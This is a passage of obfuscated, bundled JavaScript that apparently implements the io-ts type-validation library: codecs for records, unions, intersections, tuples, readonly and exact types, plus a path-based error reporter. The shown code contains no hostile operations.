_0x234ca6[_0x25a2d5], _0x4d262e = _0xd2e5bf[_0x43fdd2], _0x4c2eae = _0x3e0a32[_0x43fdd2], _0x1c5dd1 = _0x4c2eae['validate'](_0x4d262e, _0x5e2d6b(_0x4e2fca, _0x43fdd2, _0x4c2eae, _0x4d262e)); if (_0x5c7431(_0x1c5dd1)) void 0x0 !== _0x4d262e && _0x698051(_0x5bb93e, _0x1c5dd1['left']); else { var _0x178e4c = _0x1c5dd1['right']; _0x178e4c !== _0x4d262e && (_0xd2e5bf === _0x2640d1 && (_0xd2e5bf = _0xa7ab77({}, _0x2640d1)), _0xd2e5bf[_0x43fdd2] = _0x178e4c); } } return _0x5bb93e['length'] > 0x0 ? _0x5f4c94(_0x5bb93e) : _0x3efbac(_0xd2e5bf); }, _0xd2280c(_0x2ea03a) ? _0x530ea0 : function (_0x589529) { for (var _0x4f4b4c = _0xa7ab77({}, _0x589529), _0x489c7e = 0x0; _0x489c7e < _0x56b4ce; _0x489c7e++) { var _0xe878d0 = _0x234ca6[_0x489c7e], _0x53d2f1 = _0x589529[_0xe878d0]; void 0x0 !== _0x53d2f1 && (_0x4f4b4c[_0xe878d0] = _0x2ea03a[_0x489c7e]['encode'](_0x53d2f1)); } return _0x4f4b4c; }, _0x3e0a32); } var _0x5b1c8d = function (_0x657c54) { function _0xce0a01(_0x11477a, _0x36a354, _0x56adc3, _0x108143, _0x30bb8f, _0x48ad89) { var _0x1998a0 = _0x657c54['call'](this, _0x11477a, _0x36a354, _0x56adc3, _0x108143) || this; return _0x1998a0['domain'] = _0x30bb8f, _0x1998a0['codomain'] = _0x48ad89, _0x1998a0['_tag'] = 'DictionaryType', _0x1998a0; } return _0x140e78(_0xce0a01, _0x657c54), _0xce0a01; }(_0x138782); function _0x2a6a0c(_0x459341, _0x5d0320, _0x45d081) { var _0x2f00f5 = _0x31f710(_0x459341); return _0x2f00f5 ? function (_0x2a8f1, _0x43c65e, _0x55e990, _0x440b5d) { void 0x0 === _0x440b5d && (_0x440b5d = '{\x20[K\x20in\x20'['concat'](_0x43c65e['name'], ']:\x20')['concat'](_0x55e990['name'], '\x20}')); var _0x878a5e = _0x2a8f1['length']; return new _0x5b1c8d(_0x440b5d, function (_0x440d22) { return _0x1ac724['is'](_0x440d22) && _0x2a8f1['every'](function (_0x24be94) { return _0x55e990['is'](_0x440d22[_0x24be94]); }); }, function (_0x50f748, _0x2f8468) { var _0x1190f3 = _0x1ac724['validate'](_0x50f748, _0x2f8468); if (_0x5c7431(_0x1190f3)) return _0x1190f3; for (var _0x2e903a = _0x1190f3['right'], _0x59cdc9 = {}, _0x360dd1 = [], _0x597cd9 = !0x1, _0x563b37 = 0x0; _0x563b37 < _0x878a5e; _0x563b37++) { var _0x457b3f = _0x2a8f1[_0x563b37], _0x3f7939 = _0x2e903a[_0x457b3f], _0x3c9628 = _0x55e990['validate'](_0x3f7939, _0x5e2d6b(_0x2f8468, _0x457b3f, _0x55e990, _0x3f7939)); if (_0x5c7431(_0x3c9628)) _0x698051(_0x360dd1, _0x3c9628['left']); else { var _0x40ff35 = _0x3c9628['right']; _0x597cd9 = _0x597cd9 || _0x40ff35 !== _0x3f7939, _0x59cdc9[_0x457b3f] = _0x40ff35; } } return _0x360dd1['length'] > 0x0 ? _0x5f4c94(_0x360dd1) : _0x3efbac(_0x597cd9 || Object['keys'](_0x2e903a)['length'] !== _0x878a5e ? _0x59cdc9 : _0x2e903a); }, _0x55e990['encode'] === _0x530ea0 ? _0x530ea0 : function (_0x46ab22) { for (var _0x4d0a48 = {}, _0x40ec6a = 0x0; _0x40ec6a < _0x878a5e; _0x40ec6a++) { var _0x258353 = _0x2a8f1[_0x40ec6a]; _0x4d0a48[_0x258353] = _0x55e990['encode'](_0x46ab22[_0x258353]); } return _0x4d0a48; }, _0x43c65e, _0x55e990); }(Object['keys'](_0x2f00f5), _0x459341, _0x5d0320, _0x45d081) : function (_0x1f3443, _0x260d61, _0x29fce3) { return void 0x0 === _0x29fce3 && (_0x29fce3 = '{\x20[K\x20in\x20'['concat'](_0x1f3443['name'], ']:\x20')['concat'](_0x260d61['name'], '\x20}')), new _0x5b1c8d(_0x29fce3, function (_0x38fb37) { return _0x1ac724['is'](_0x38fb37) ? Object['keys'](_0x38fb37)['every'](function (_0x45268e) { return _0x1f3443['is'](_0x45268e) && _0x260d61['is'](_0x38fb37[_0x45268e]); }) : _0x23d40c(_0x260d61) && Array['isArray'](_0x38fb37); }, function (_0x28a849, _0x1f2790) { if (_0x1ac724['is'](_0x28a849)) { for (var _0x324c05 = {}, _0x28f7cc = [], _0x82823b = Object['keys'](_0x28a849), _0x521d86 = _0x82823b['length'], _0x38dbfc = !0x1, _0x4386c6 = 0x0; _0x4386c6 < _0x521d86; _0x4386c6++) { var _0x273702 = _0x82823b[_0x4386c6], _0x4d7361 = _0x28a849[_0x273702], _0xcad094 = _0x1f3443['validate'](_0x273702, _0x5e2d6b(_0x1f2790, _0x273702, _0x1f3443, _0x273702)); if (_0x5c7431(_0xcad094)) _0x698051(_0x28f7cc, _0xcad094['left']); else { var _0x1915e8 = _0xcad094['right']; _0x38dbfc = _0x38dbfc || _0x1915e8 !== _0x273702, _0x273702 = _0x1915e8; var _0xda0b29 = _0x260d61['validate'](_0x4d7361, _0x5e2d6b(_0x1f2790, _0x273702, _0x260d61, _0x4d7361)); if (_0x5c7431(_0xda0b29)) _0x698051(_0x28f7cc, _0xda0b29['left']); else { var _0x267db1 = _0xda0b29['right']; _0x38dbfc = _0x38dbfc || _0x267db1 !== _0x4d7361, _0x324c05[_0x273702] = _0x267db1; } } } return _0x28f7cc['length'] > 0x0 ? _0x5f4c94(_0x28f7cc) : _0x3efbac(_0x38dbfc ? _0x324c05 : _0x28a849); } return _0x23d40c(_0x260d61) && Array['isArray'](_0x28a849) ? _0x3efbac(_0x28a849) : _0x105a1c(_0x28a849, _0x1f2790); }, _0x1f3443['encode'] === _0x530ea0 && _0x260d61['encode'] === _0x530ea0 ? _0x530ea0 : function (_0x52cd71) { for (var _0x4ae569 = {}, _0x6c1162 = Object['keys'](_0x52cd71), _0x11fe3b = _0x6c1162['length'], _0x36f496 = 0x0; _0x36f496 < _0x11fe3b; _0x36f496++) { var _0x23f6d5 = _0x6c1162[_0x36f496]; _0x4ae569[String(_0x1f3443['encode'](_0x23f6d5))] = _0x260d61['encode'](_0x52cd71[_0x23f6d5]); } return _0x4ae569; }, _0x1f3443, _0x260d61); }(_0x459341, _0x5d0320, _0x45d081); } var _0xb62682 = function (_0x5946f8) { function _0x44ae40(_0x147ca8, _0x3f176b, _0xac4f05, _0x37c7a5, _0x1b620b) { var _0x453a3d = _0x5946f8['call'](this, _0x147ca8, _0x3f176b, _0xac4f05, _0x37c7a5) || this; return _0x453a3d['types'] = _0x1b620b, _0x453a3d['_tag'] = 'UnionType', _0x453a3d; } return _0x140e78(_0x44ae40, _0x5946f8), _0x44ae40; }(_0x138782); function _0x57faa2(_0x1a0aad, _0x597e3b) { void 0x0 === _0x597e3b && (_0x597e3b = _0x67c07(_0x1a0aad)); var _0x4da761 = _0x1d22a7(_0x1a0aad); if (void 0x0 !== _0x4da761 && _0x1a0aad['length'] > 0x0) { var _0x261c4d = _0x4da761[0x0], _0x156f3a = _0x4da761[0x1], _0x37d2fc = _0x156f3a['length'], _0x43dfc2 = function (_0x4e94e8) { for (var _0x147fd6 = 0x0; _0x147fd6 < _0x37d2fc; _0x147fd6++)if (-0x1 !== _0x156f3a[_0x147fd6]['indexOf'](_0x4e94e8)) return _0x147fd6; }; return new _0x5068ab(_0x597e3b, function (_0x5d53c7) { if (_0x1ac724['is'](_0x5d53c7)) { var _0x673279 = _0x43dfc2(_0x5d53c7[_0x261c4d]); return void 0x0 !== _0x673279 && _0x1a0aad[_0x673279]['is'](_0x5d53c7); } return !0x1; }, function (_0x1eb3f5, _0x47f46d) { var _0x14d04e = _0x1ac724['validate'](_0x1eb3f5, _0x47f46d); if (_0x5c7431(_0x14d04e)) return _0x14d04e; var _0x248494 = _0x14d04e['right'], _0x17ea9d = _0x43dfc2(_0x248494[_0x261c4d]); if (void 0x0 === _0x17ea9d) return _0x105a1c(_0x1eb3f5, _0x47f46d); var _0x51d399 = _0x1a0aad[_0x17ea9d]; return _0x51d399['validate'](_0x248494, _0x5e2d6b(_0x47f46d, String(_0x17ea9d), _0x51d399, _0x248494)); }, _0xd2280c(_0x1a0aad) ? _0x530ea0 : function (_0x53ca36) { var _0x3b6718 = _0x43dfc2(_0x53ca36[_0x261c4d]); if (void 0x0 === _0x3b6718) throw new Error('no\x20codec\x20found\x20to\x20encode\x20value\x20in\x20union\x20codec\x20'['concat'](_0x597e3b)); return _0x1a0aad[_0x3b6718]['encode'](_0x53ca36); }, _0x1a0aad, _0x261c4d); } return new _0xb62682(_0x597e3b, function (_0x3f7893) { return _0x1a0aad['some'](function (_0x2a84c4) { return _0x2a84c4['is'](_0x3f7893); }); }, function (_0x1b74d0, _0x30c461) { for (var _0x2e3a4b = [], _0x33b967 = 0x0; _0x33b967 < _0x1a0aad['length']; _0x33b967++) { var _0x2ce8b7 = _0x1a0aad[_0x33b967], _0x39d8bf = _0x2ce8b7['validate'](_0x1b74d0, _0x5e2d6b(_0x30c461, String(_0x33b967), _0x2ce8b7, _0x1b74d0)); if (!_0x5c7431(_0x39d8bf)) return _0x3efbac(_0x39d8bf['right']); _0x698051(_0x2e3a4b, _0x39d8bf['left']); } return _0x5f4c94(_0x2e3a4b); }, _0xd2280c(_0x1a0aad) ? _0x530ea0 : function (_0x36ecf9) { for (var _0x103769 = 0x0, _0x4ad74c = _0x1a0aad; _0x103769 < _0x4ad74c['length']; _0x103769++) { var _0xf86580 = _0x4ad74c[_0x103769]; if (_0xf86580['is'](_0x36ecf9)) return _0xf86580['encode'](_0x36ecf9); } throw new Error('no\x20codec\x20found\x20to\x20encode\x20value\x20in\x20union\x20type\x20'['concat'](_0x597e3b)); }, _0x1a0aad); } var _0x372627 = function (_0x154d6d) { function _0xb78b15(_0x120cc7, _0x2768b0, _0x441cc2, _0x5a9d2b, _0x501760) { var _0x4ee647 = _0x154d6d['call'](this, _0x120cc7, _0x2768b0, _0x441cc2, _0x5a9d2b) || this; return _0x4ee647['types'] = _0x501760, _0x4ee647['_tag'] = 'IntersectionType', _0x4ee647; } return _0x140e78(_0xb78b15, _0x154d6d), _0xb78b15; }(_0x138782); function _0xfd7845(_0x33564f, _0xbdea2d) { void 0x0 === _0xbdea2d && (_0xbdea2d = '('['concat'](_0x33564f['map'](function (_0x7d3b21) { return _0x7d3b21['name']; })['join']('\x20&\x20'), ')')); var _0x4ca5df = _0x33564f['length']; return new _0x372627(_0xbdea2d, function (_0x1b76f9) { return _0x33564f['every'](function (_0x28f46d) { return _0x28f46d['is'](_0x1b76f9); }); }, 0x0 === _0x33564f['length'] ? _0x3efbac : function (_0x22727a, _0x19db27) { for (var _0x1e811e = [], _0x5dcfb1 = [], _0x4b834f = 0x0; _0x4b834f < _0x4ca5df; _0x4b834f++) { var _0x576f28 = _0x33564f[_0x4b834f], _0x213016 = _0x576f28['validate'](_0x22727a, _0x5e2d6b(_0x19db27, String(_0x4b834f), _0x576f28, _0x22727a)); _0x5c7431(_0x213016) ? _0x698051(_0x5dcfb1, _0x213016['left']) : _0x1e811e['push'](_0x213016['right']); } return _0x5dcfb1['length'] > 0x0 ? _0x5f4c94(_0x5dcfb1) : _0x3efbac(_0x59bac5(_0x22727a, _0x1e811e)); }, 0x0 === _0x33564f['length'] ? _0x530ea0 : function (_0x436f6a) { return _0x59bac5(_0x436f6a, _0x33564f['map'](function (_0x147f98) { return _0x147f98['encode'](_0x436f6a); })); }, _0x33564f); } var _0x169d69 = function (_0xa21eca) { function _0x305baf(_0xea6f13, _0x48ec38, _0x18df63, _0xb01386, _0x36681f) { var _0x3c7fe2 = _0xa21eca['call'](this, _0xea6f13, _0x48ec38, _0x18df63, _0xb01386) || this; return _0x3c7fe2['types'] = _0x36681f, _0x3c7fe2['_tag'] = 'TupleType', _0x3c7fe2; } return _0x140e78(_0x305baf, _0xa21eca), _0x305baf; }(_0x138782); function _0x20261d(_0x2bce84, _0x5b9e71) { void 0x0 === _0x5b9e71 && (_0x5b9e71 = '['['concat'](_0x2bce84['map'](function (_0x12a959) { return _0x12a959['name']; })['join'](',\x20'), ']')); var _0x4470e5 = _0x2bce84['length']; return new _0x169d69(_0x5b9e71, function (_0x30ac1c) { return _0x4324a7['is'](_0x30ac1c) && _0x30ac1c['length'] === _0x4470e5 && _0x2bce84['every'](function (_0x43d7d5, _0x4e875e) { return _0x43d7d5['is'](_0x30ac1c[_0x4e875e]); }); }, function (_0x506261, _0x40ce00) { var _0xd0b9d2 = _0x4324a7['validate'](_0x506261, _0x40ce00); if (_0x5c7431(_0xd0b9d2)) return _0xd0b9d2; for (var _0x356fcf = _0xd0b9d2['right'], _0x3e7dd9 = _0x356fcf['length'] > _0x4470e5 ? _0x356fcf['slice'](0x0, _0x4470e5) : _0x356fcf, _0x843b98 = [], _0x1e2b0b = 0x0; _0x1e2b0b < _0x4470e5; _0x1e2b0b++) { var _0x5a60b8 = _0x356fcf[_0x1e2b0b], _0x27cb0a = _0x2bce84[_0x1e2b0b], _0x142241 = _0x27cb0a['validate'](_0x5a60b8, _0x5e2d6b(_0x40ce00, String(_0x1e2b0b), _0x27cb0a, _0x5a60b8)); if (_0x5c7431(_0x142241)) _0x698051(_0x843b98, _0x142241['left']); else { var _0x2ac2e9 = _0x142241['right']; _0x2ac2e9 !== _0x5a60b8 && (_0x3e7dd9 === _0x356fcf && (_0x3e7dd9 = _0x356fcf['slice']()), _0x3e7dd9[_0x1e2b0b] = _0x2ac2e9); } } return _0x843b98['length'] > 0x0 ? _0x5f4c94(_0x843b98) : _0x3efbac(_0x3e7dd9); }, _0xd2280c(_0x2bce84) ? _0x530ea0 : function (_0x1ff08b) { return _0x2bce84['map'](function (_0x434ae4, _0x2fa2df) { return _0x434ae4['encode'](_0x1ff08b[_0x2fa2df]); }); }, _0x2bce84); } var _0x572623 = function (_0x370717) { function _0x3b3007(_0x88d00c, _0x3c8fa8, _0x184f8e, _0x2671af, _0x52dfe6) { var _0x32a23b = _0x370717['call'](this, _0x88d00c, _0x3c8fa8, _0x184f8e, _0x2671af) || this; return _0x32a23b['type'] = _0x52dfe6, _0x32a23b['_tag'] = 'ReadonlyType', _0x32a23b; } return _0x140e78(_0x3b3007, _0x370717), _0x3b3007; }(_0x138782); function _0x4988b9(_0xb57ae8, _0x551afe) { return void 0x0 === _0x551afe && (_0x551afe = 'Readonly<'['concat'](_0xb57ae8['name'], '>')), new _0x572623(_0x551afe, _0xb57ae8['is'], _0xb57ae8['validate'], _0xb57ae8['encode'], _0xb57ae8); } var _0x101b16 = function (_0x3bcbb3) { function _0x1fb6aa(_0xad0c30, _0x4c16c5, _0x35a9c1, _0x38096f, _0x47cefd) { var _0x210b92 = _0x3bcbb3['call'](this, _0xad0c30, _0x4c16c5, _0x35a9c1, _0x38096f) || this; return _0x210b92['type'] = _0x47cefd, _0x210b92['_tag'] = 'ReadonlyArrayType', _0x210b92; } return _0x140e78(_0x1fb6aa, _0x3bcbb3), _0x1fb6aa; }(_0x138782); function _0x38982a(_0x4a2b75, _0x1af338) { void 0x0 === _0x1af338 && (_0x1af338 = 'ReadonlyArray<'['concat'](_0x4a2b75['name'], '>')); var _0x448d74 = _0x209ca0(_0x4a2b75); return new _0x101b16(_0x1af338, _0x448d74['is'], _0x448d74['validate'], _0x448d74['encode'], _0x4a2b75); } var _0x27fa52 = function (_0x139c51, _0x334daf) { return _0x38e91f(_0x38f11c(_0x139c51), _0x334daf); }, _0x492194 = function (_0x4b9af0) { function _0x250609(_0x43351b, _0x15a072, _0x59ab73, _0x5b94c0, _0x1a6d3a) { var _0xc57d78 = _0x4b9af0['call'](this, _0x43351b, _0x15a072, _0x59ab73, _0x5b94c0) || this; return _0xc57d78['type'] = _0x1a6d3a, _0xc57d78['_tag'] = 'ExactType', _0xc57d78; } return _0x140e78(_0x250609, _0x4b9af0), _0x250609; }(_0x138782); function _0x38e91f(_0xb14f90, _0x282132) { void 0x0 === _0x282132 && (_0x282132 = function (_0x3f81e3) { return _0x2408e9(_0x3f81e3) ? '{|\x20'['concat'](_0x338600(_0x3f81e3['props']), '\x20|}') : function (_0x3cb0cd) { return 'PartialType' === _0x3cb0cd['_tag']; }(_0x3f81e3) ? _0x4ddcdf('{|\x20'['concat'](_0x338600(_0x3f81e3['props']), '\x20|}')) : 'Exact<'['concat'](_0x3f81e3['name'], '>'); }(_0xb14f90)); var _0x39ec2a = _0x449363(_0xb14f90); return new _0x492194(_0x282132, _0xb14f90['is'], function (_0x286d28, _0x5d0d8e) { var _0x29df1c = _0x1ac724['validate'](_0x286d28, _0x5d0d8e); if (_0x5c7431(_0x29df1c)) return _0x29df1c; var _0x542bc8 = _0xb14f90['validate'](_0x286d28, _0x5d0d8e); return _0x5c7431(_0x542bc8) ? _0x542bc8 : _0x39e2dd(_0x51dd23(_0x542bc8['right'], _0x39ec2a)); }, function (_0x2bde0a) { return _0xb14f90['encode'](_0x51dd23(_0x2bde0a, _0x39ec2a)); }, _0xb14f90); } var _0x2ddae3 = function (_0x4a78b5) { function _0x448fd9() { var _0x4323eb = _0x4a78b5['call'](this, 'Function', function (_0xdc4d27) { return 'function' == typeof _0xdc4d27; }, function (_0x2291e1, _0x41de19) { return _0x4323eb['is'](_0x2291e1) ? _0x3efbac(_0x2291e1) : _0x105a1c(_0x2291e1, _0x41de19); }, _0x530ea0) || this; return _0x4323eb['_tag'] = 'FunctionType', _0x4323eb; } return _0x140e78(_0x448fd9, _0x4a78b5), _0x448fd9; }(_0x138782), _0x4d4e23 = new _0x2ddae3(), _0x51fb35 = function (_0x5b1327) { function _0x2b822f() { var _0x114806 = _0x5b1327['call'](this, 'never', function (_0x716e85) { return !0x1; }, function (_0x911547, _0x1533bf) { return _0x105a1c(_0x911547, _0x1533bf); }, function () { throw new Error('cannot\x20encode\x20never'); }) || this; return _0x114806['_tag'] = 'NeverType', _0x114806; } return _0x140e78(_0x2b822f, _0x5b1327), _0x2b822f; }(_0x138782), _0x275b1b = new _0x51fb35(), _0x41dfaa = function (_0x4efe7e) { function _0x32283d() { var _0x3b4f59 = _0x4efe7e['call'](this, 'any', function (_0xf03568) { return !0x0; }, _0x3efbac, _0x530ea0) || this; return _0x3b4f59['_tag'] = 'AnyType', _0x3b4f59; } return _0x140e78(_0x32283d, _0x4efe7e), _0x32283d; }(_0x138782), _0x4bdb21 = new _0x41dfaa(); function _0xd2a570(_0xdd40f3, _0x17a03e, _0x438c51) { return void 0x0 === _0x438c51 && (_0x438c51 = '('['concat'](_0xdd40f3['name'], '\x20|\x20')['concat'](_0x3b2eb2(_0x17a03e), ')')), new _0x24bdb8(_0x438c51, function (_0xca854b) { return _0xdd40f3['is'](_0xca854b) && _0x17a03e(_0xca854b); }, function (_0x1c9bf6, _0x45eb19) { var _0x2efef7 = _0xdd40f3['validate'](_0x1c9bf6, _0x45eb19); if (_0x5c7431(_0x2efef7)) return _0x2efef7; var _0x28f52e = _0x2efef7['right']; return _0x17a03e(_0x28f52e) ? _0x3efbac(_0x28f52e) : _0x105a1c(_0x28f52e, _0x45eb19); }, _0xdd40f3['encode'], _0xdd40f3, _0x17a03e); } var _0x925c5c = _0xd2a570(_0x54dd01, Number['isInteger'], 'Integer'), _0x5068ab = function (_0x44e794) { function _0x5430ad(_0x30d82f, _0x5929e5, _0x4e7ebf, _0x36a050, _0x569bfa, _0x188e0b) { var _0x436cdf = _0x44e794['call'](this, _0x30d82f, _0x5929e5, _0x4e7ebf, _0x36a050, _0x569bfa) || this; return _0x436cdf['tag'] = _0x188e0b, _0x436cdf; } return _0x140e78(_0x5430ad, _0x44e794), _0x5430ad; }(_0xb62682), _0x4b5a3e = function (_0x450a23, _0x32bf77, _0x1fbed3) { void 0x0 === _0x1fbed3 && (_0x1fbed3 = _0x67c07(_0x32bf77)); var _0x36c4cb = _0x57faa2(_0x32bf77, _0x1fbed3); return _0x36c4cb instanceof _0x5068ab ? _0x36c4cb : new _0x5068ab(_0x1fbed3, _0x36c4cb['is'], _0x36c4cb['validate'], _0x36c4cb['encode'], _0x32bf77, _0x450a23); }, _0x39422d = function (_0x52477d, _0x467700) { return { 'value': _0x52477d, 'context': _0x467700 }; }, _0x5a94b3 = function (_0xaba0b8) { return [{ 'key': '', 'type': _0xaba0b8 }]; }, _0x1f88f1 = _0x1ac724, _0x2abf49 = function (_0x3fbe0b) { function _0x525e53() { var _0x3728f8 = _0x3fbe0b['call'](this, 'object', function (_0x835230) { return null !== _0x835230 && 'object' == typeof _0x835230; }, function (_0x18b2cf, _0x3e4337) { return _0x3728f8['is'](_0x18b2cf) ? _0x3efbac(_0x18b2cf) : _0x105a1c(_0x18b2cf, _0x3e4337); }, _0x530ea0) || this; return _0x3728f8['_tag'] = 'ObjectType', _0x3728f8; } return _0x140e78(_0x525e53, _0x3fbe0b), _0x525e53; }(_0x138782), _0x4f0077 = new _0x2abf49(), _0x14e365 = _0x2a6a0c, _0xb3f3b2 = function (_0x4b45f5) { function _0x3cd221(_0x34f38a, _0x21e852, _0x3ee9fe, _0xaf6f89, _0x2e72be) { var _0x410eaf = _0x4b45f5['call'](this, _0x34f38a, _0x21e852, _0x3ee9fe, _0xaf6f89) || this; return _0x410eaf['props'] = _0x2e72be, _0x410eaf['_tag'] = 'StrictType', _0x410eaf; } return _0x140e78(_0x3cd221, _0x4b45f5), _0x3cd221; }(_0x138782); function _0x27d066(_0x419f3e) { return _0x419f3e; } function _0x4bd3a9(_0x45b207) { return function () { return _0x45b207; }; } }, 0x158a: (_0x4c5ca7, _0x5b5756, _0x2b06d7) => { 'use strict'; Object['defineProperty'](_0x5b5756, '__esModule', { 'value': !0x0 }), _0x5b5756['PathReporter'] = _0x5b5756['success'] = _0x5b5756['failure'] = void 0x0; var _0xbf4857 = _0x2b06d7(0x1482), _0x28f3bd = _0x2b06d7(0x1756); function _0x5c91d3(_0x48f29f) { return void 0x0 !== _0x48f29f['message'] ? _0x48f29f['message'] : 'Invalid\x20value\x20'['concat']((_0x1c7775 = _0x48f29f['value'], 'function' == typeof _0x1c7775 ? (0x0, _0xbf4857['getFunctionName'])(_0x1c7775) : 'number' != typeof _0x1c7775 || isFinite(_0x1c7775) ? JSON['stringify'](_0x1c7775) : isNaN(_0x1c7775) ? 'NaN' : _0x1c7775 > 0x0 ? 'Infinity' : '-Infinity'), '\x20supplied\x20to\x20')['concat'](_0x48f29f['context']['map'](function (_0x8c9254) { var _0x4da53c = _0x8c9254['key'], _0x3a0e1e = _0x8c9254['type']; return ''['concat'](_0x4da53c, ':\x20')['concat'](_0x3a0e1e['name']); })['join']('/')); var _0x1c7775; } function _0x5e6f23(_0xdb83f6) { return _0xdb83f6['map'](_0x5c91d3); } function _0x14cc73() { return ['No\x20errors!']; } _0x5b5756['failure'] = _0x5e6f23, _0x5b5756['success'] = _0x14cc73, _0x5b5756['PathReporter'] = { 'report': (0x0, _0x28f3bd['fold'])(_0x5e6f23, _0x14cc73) }; }, 0x1482: function (_0x3771a3, _0x41723a, _0x151708) { 'use strict'; var _0x58e497, _0x8fd1f7 = this && this['__extends'] || (_0x58e497 = function (_0x14cbfb, _0xee54c1) { return _0x58e497 = Object['setPrototypeOf'] || { '__proto__': [] } instanceof Array && function (_0x2dafba, _0x1d3efa) { _0x2dafba['__proto__'] = _0x1d3efa; } || function (_0x3542b0, _0x535547) { for (var _0x132493 in _0x535547) Object['prototype']['hasOwnProperty']['call'](_0x535547, _0x132493) && (_0x3542b0[_0x132493] = _0x535547[_0x132493]); }, _0x58e497(_0x14cbfb, _0xee54c1); }, function (_0x3f5f92, _0x557fec) { if ('function' != typeof _0x557fec && null !== _0x557fec) throw new TypeError('Class\x20extends\x20value\x20' + String(_0x557fec) + '\x20is\x20not\x20a\x20constructor\x20or\x20null'); function _0x5acd91() { this['constructor'] = _0x3f5f92; } _0x58e497(_0x3f5f92, _0x557fec), _0x3f5f92['prototype'] = null === _0x557fec ? Object['create'](_0x557fec) : (_0x5acd91['prototype'] = _0x557fec['prototype'], new _0x5acd91()); }), _0x487942 = this && this['__assign'] || function () { return _0x487942 = Object['assign'] || function (_0xd8d238) { for (var _0x1e3716, _0x17a629 = 0x1, _0x303674 = arguments['length']; _0x17a629 < _0x303674; _0x17a629++)for (var _0xec4c0c in _0x1e3716 = arguments[_0x17a629]) Object['prototype']['hasOwnProperty']['call'](_0x1e3716, _0xec4c0c) && (_0xd8d238[_0xec4c0c] = _0x1e3716[_0xec4c0c]); return _0xd8d238; }, _0x487942['apply'](this, arguments); }, _0x2f58e1 = this && this['__spreadArray'] || function (_0x107362, _0xe92c05, _0x45b312) { if (_0x45b312 || 0x2 === arguments['length']) { for (var _0x27b90b, _0x5b32d1 = 0x0, _0x442fac = _0xe92c05['length']; _0x5b32d1 < _0x442fac; _0x5b32d1++)!_0x27b90b && _0x5b32d1 in _0xe92c05 || (_0x27b90b || (_0x27b90b = Array['prototype']['slice']['call'](_0xe92c05, 0x0, _0x5b32d1)), _0x27b90b[_0x5b32d1] = _0xe92c05[_0x5b32d1]); } return _0x107362['concat'](_0x27b90b || Array['prototype']['slice']['call'](_0xe92c05)); }; Object['defineProperty'](_0x41723a, '__esModule', { 'value': !0x0 }), _0x41723a['partial'] = _0x41723a['PartialType'] = _0x41723a['type'] = _0x41723a['InterfaceType'] = _0x41723a['array'] = _0x41723a['ArrayType'] = _0x41723a['recursion'] = _0x41723a['RecursiveType'] = _0x41723a['Int'] = _0x41723a['brand'] = _0x41723a['RefinementType'] = _0x41723a['keyof'] = _0x41723a['KeyofType'] = _0x41723a['literal'] = _0x41723a['LiteralType'] = _0x41723a['void'] = _0x41723a['undefined'] = _0x41723a['null'] = _0x41723a['UnknownRecord'] = _0x41723a['AnyDictionaryType'] = _0x41723a['UnknownArray'] = _0x41723a['AnyArrayType'] = _0x41723a['boolean'] = _0x41723a['BooleanType'] = _0x41723a['bigint'] = _0x41723a['BigIntType'] = _0x41723a['number'] = _0x41723a['NumberType'] = _0x41723a['string'] = _0x41723a['StringType'] = _0x41723a['unknown'] = _0x41723a['UnknownType'] = _0x41723a['voidType'] = _0x41723a['VoidType'] = _0x41723a['UndefinedType'] = _0x41723a['nullType'] = _0x41723a['NullType'] = _0x41723a['getIndex'] = _0x41723a['getTags'] = _0x41723a['emptyTags'] = _0x41723a['mergeAll'] = _0x41723a['getDomainKeys'] = _0x41723a['appendContext'] = _0x41723a['getContextEntry'] = _0x41723a['getFunctionName'] = _0x41723a['identity'] = _0x41723a['Type'] = _0x41723a['success'] = _0x41723a['failure'] = _0x41723a['failures'] = void 0x0, _0x41723a['alias'] = _0x41723a['clean'] = _0x41723a['StrictType'] = _0x41723a['dictionary'] = _0x41723a['object'] = _0x41723a['ObjectType'] = _0x41723a['Dictionary'] = _0x41723a['getDefaultContext'] = _0x41723a['getValidationError'] = _0x41723a['interface'] = _0x41723a['Array'] = _0x41723a['taggedUnion'] = _0x41723a['TaggedUnionType'] = _0x41723a['Integer'] = _0x41723a['refinement'] = _0x41723a['any'] = _0x41723a['AnyType'] = _0x41723a['never'] = _0x41723a['NeverType'] = _0x41723a['Function'] = _0x41723a['FunctionType'] = _0x41723a['exact'] = _0x41723a['ExactType'] = _0x41723a['strict'] = _0x41723a['readonlyArray'] = _0x41723a['ReadonlyArrayType'] = _0x41723a['readonly'] = _0x41723a['ReadonlyType'] = _0x41723a['tuple'] = _0x41723a['TupleType'] = _0x41723a['intersection'] = _0x41723a['IntersectionType'] = _0x41723a['union'] = _0x41723a['UnionType'] = _0x41723a['record'] = _0x41723a['DictionaryType'] = void 0x0; var _0x462f8d = _0x151708(0x1756); _0x41723a['failures'] = _0x462f8d['left'], (_0x41723a['failure'] = function (_0x296d5a, _0x490bf4, _0x1c68c7) { return (0x0, _0x41723a['failures'])([{ 'value': _0x296d5a, 'context': _0x490bf4, 'message': _0x1c68c7 }]); }, _0x41723a['success'] = _0x462f8d['right']); var _0x184477 = (function () { function _0x8a82a1(_0x440b1a, _0x4187ec, _0x234ae5, _0x2e582c) { this['name'] = _0x440b1a, this['is'] = _0x4187ec, this['validate'] = _0x234ae5, this['encode'] = _0x2e582c, this['decode'] = this['decode']['bind'](this); } return _0x8a82a1['prototype']['pipe'] = function (_0x485014, _0x3d0c55) { var _0x262c6b = this; return void 0x0 === _0x3d0c55 && (_0x3d0c55 = 'pipe('['concat'](this['name'], ',\x20')['concat'](_0x485014['name'], ')')), new _0x8a82a1(_0x3d0c55, _0x485014['is'], function (_0x562c5b, _0x11c9f0) { var _0x37590a = _0x262c6b['validate'](_0x562c5b, _0x11c9f0); return (0x0, _0x462f8d['isLeft'])(_0x37590a) ? _0x37590a : _0x485014['validate'](_0x37590a['right'], _0x11c9f0); }, this['encode'] === _0x41723a['identity'] && _0x485014['encode'] === _0x41723a['identity'] ? _0x41723a['identity'] : function (_0x45b59a) { return _0x262c6b['encode'](_0x485014['encode'](_0x45b59a)); }); }, _0x8a82a1['prototype']['asDecoder'] = function () { return this; }, _0x8a82a1['prototype']['asEncoder'] = function () { return this; }, _0x8a82a1['prototype']['decode'] = function (_0x110993) { return this['validate'](_0x110993, [{ 'key': '', 'type': this, 'actual': _0x110993 }]); }, _0x8a82a1; }()); _0x41723a['Type'] = _0x184477; function _0x16fcab(_0x1dde93) { return _0x1dde93['displayName'] || _0x1dde93['name'] || '<function'['concat'](_0x1dde93['length'], '>'); } function _0x4b4652(_0x19c932, _0x23d59e, _0x25d8be, _0x4c955a) { for (var _0x2b5b98 = _0x19c932['length'], _0x337ae9 = Array(_0x2b5b98 + 